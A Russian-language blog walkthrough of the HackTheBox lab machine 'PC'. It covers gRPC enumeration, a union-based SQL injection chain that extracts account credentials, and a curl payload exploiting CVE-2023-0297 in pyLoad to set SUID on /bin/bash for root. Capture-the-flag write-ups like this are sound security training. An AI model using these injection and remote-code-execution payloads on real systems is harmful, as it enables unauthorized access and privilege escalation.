Блог

Разбор HackTheBox — PC (Easy)

Сложность:Easy
ОС:Linux
Баллы:20
IP:10.10.11.214
Теги:gRPC, SQLi, CVE-2023-0297, Linux PrivEsc

Краткое описание решения

После первичной разведки целевой машины мы обнаруживаем сервис gRPC, и, воспользовавшись инструментами grpcurl и grpcui осуществляем взаимодействие с этим сервисом. Далее, с помощью SQLi в параметр id, передаваемый по gRPC получаем доступ к УЗ sau на целевой машине, а вместе с доступом и флаг пользователя. Обнаружив на целевой машине ещё один сервис pyLoad, проксируем его до машины атакующего и, с помощью CVE-2023-0297 устанавливаем SUID права в /bin/bash, с помощью чего повышаем права и получаем флаг пользователя root.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.214

PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

Просканируем более подробно: nmap -sVC -O -p22,50051 10.10.11.214

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown

При переходе по порту 50051 в качестве веб сервиса не получили никаких полезных сведений, которые бы могли помочь в идентификации сервиса. При дальнейшем поиске в открытых источниках обнаружили, что на порте 50051 расположен сервис удалённого вызова процедур gRPC — альтернатива REST API от компании Google.

Эксплуатация SimpleApp и SQL инъекция

Для более удобного взаимодействия с gRPC воспользуемся инструментом grpcurl и выведем список доступных сервисов:

grpcurl -plaintext 10.10.11.214:50051 list

SimpleApp
grpc.reflection.v1alpha.ServerReflection

Далее, выведем список модулей, доступных для сервиса:

grpcurl -plaintext 10.10.11.214:50051 list SimpleApp

SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

Провзаимодействуем со всеми из них без параметров и проанализируем вывод:

grpcurl -plaintext 10.10.11.214:50051 SimpleApp.getInfo 
{
  "message": "Authorization Error.Missing 'token' header"
}
                                                                                                                                                                           
grpcurl -plaintext 10.10.11.214:50051 SimpleApp.LoginUser
{
  "message": "Login unsuccessful"
}
                                                                                                                                                                           
grpcurl -plaintext 10.10.11.214:50051 SimpleApp.RegisterUser
{
  "message": "username or password must be greater than 4"
}

Мы можем регистрировать, авторизоваться и вывести информацию о пользователе. Зарегистрируемся с тестовыми учётными данными и выведем информацию о себе:

grpcurl -plaintext -d '{"username": "test123", "password": "test123"}' 10.10.11.214:50051 SimpleApp.RegisterUser 
{
  "message": "Account created for user test123!"
}

grpcurl -plaintext -d '{"username": "test123", "password": "test123"}' 10.10.11.214:50051 SimpleApp.LoginUser
{
  "message": "Your id is 694."
}

Для большего удобства воспользуемся ещё одной утилитой взаимодействия по gRPC — grpcui.

Авторизовавшись с ранее зарегистрированной УЗ убедились, что инструмент работает верно и вывод сопоставим с ранее полученным в grpcurl:

Перехватим запрос, отправляемый данным инструментом с помощью BurpSuite и проанализуем его:

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:45154
[...]

{
  "metadata":[
   {
"name":"token",
"value":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY5NjUxNDU1Mn0.4-m6Z-zmAMO4ckdOrCtgeqreDHvVbLuBA8PFU3B_O4I'"
   }
  ],
  "data":[
   {
    "id":"694"
   }
  ]
}

Получили следующий ответ:

HTTP/1.1 200 OK
[...]

{
   "headers":[
   ],
   "error":{
      "code":2,
      "name":"Unknown",
      "message":"Unexpected \u003cclass 'TypeError'\u003e: 'NoneType' object is not subscriptable",
      "details":[
      ]
   },
   "responses":null,
   "requests":{
      "total":1,
      "sent":1
   },
   "trailers":[
      {
      "name":"content-type",
      "value":"application/grpc"
      }
   ]
}

Протестируем наличие SQLi в параметре id:

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:45154
[...]

{
  "metadata":[
   {
"name":"token",
"value":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY5NjUxNDU1Mn0.4-m6Z-zmAMO4ckdOrCtgeqreDHvVbLuBA8PFU3B_O4I'"
   }
  ],
  "data":[
   {
    "id":"694 AND 1=1"
   }
  ]
}

Пришёл следующий ответ от сервера:

HTTP/1.1 200 OK
[...]

{
   "headers":[
   ],
   "error":{
      "code":2,
      "name":"Unknown",
      "message":"Will update soon.",
      "details":[
      ]
   },
   "responses":null,
   "requests":{
      "total":1,
      "sent":1
   },
   "trailers":[
      {
      "name":"content-type",
      "value":"application/grpc"
      }
   ]
}

Посредством следующей цепочки инъекций в параметр id получим пароль от УЗ sau:

694 union SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

694 union SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='accounts'
CREATE TABLE "accounts" (username TEXT UNIQUE,password TEXT)

694 union SELECT GROUP_CONCAT(username) from accounts

694 union SELECT GROUP_CONCAT(password) from accounts

Учётная запись на удалённой целевой машине: sau:HereIsYourPassWord1431

Успешно авторизовались и получили флаг пользователя sau.

Повышение до root

Проверим текущие соединения, доступные на целевой машине с помощью команды netstat -tulpn

Проксируем порт 8000 с помощью команды ssh sau@10.10.11.214 -L 8000:127.0.0.1:8000 -N

Исследуем сервис, находящийся на проксированном порте 8000:

После недолгого поиска уязвимостей сервиса pyLoad была обнаружена уязвимость CVE-2023-0297, позволяющая осуществлять удалённое исполнение команд без авторизации в сервис на целевой машине. Для того, чтобы проэксплуатировать данную уязвимость, необходимо выполнить следующую команду:

curl -i -s -k -X 'POST' --data-binary 'jk=pyimport%20os;os.system("chmod%20u%2Bs%20%2Fbin%2Fbash");
f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' 'http://127.0.0.1:8000/flash/addcrypted2'

Таким образом, с помощью RCE мы установим SUID права в исполнимом /bin/bash, что позволит запускать его от пользователя root:

Выполним bash от root и повысим свои права:

Мы смогли получить флаг пользователя root!

Ссылки:

https://cloud.yandex.ru/docs/glossary/grpc

https://github.com/fullstorydev/grpcurl

https://book.hacktricks.xyz/pentesting-web/sql-injection

https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad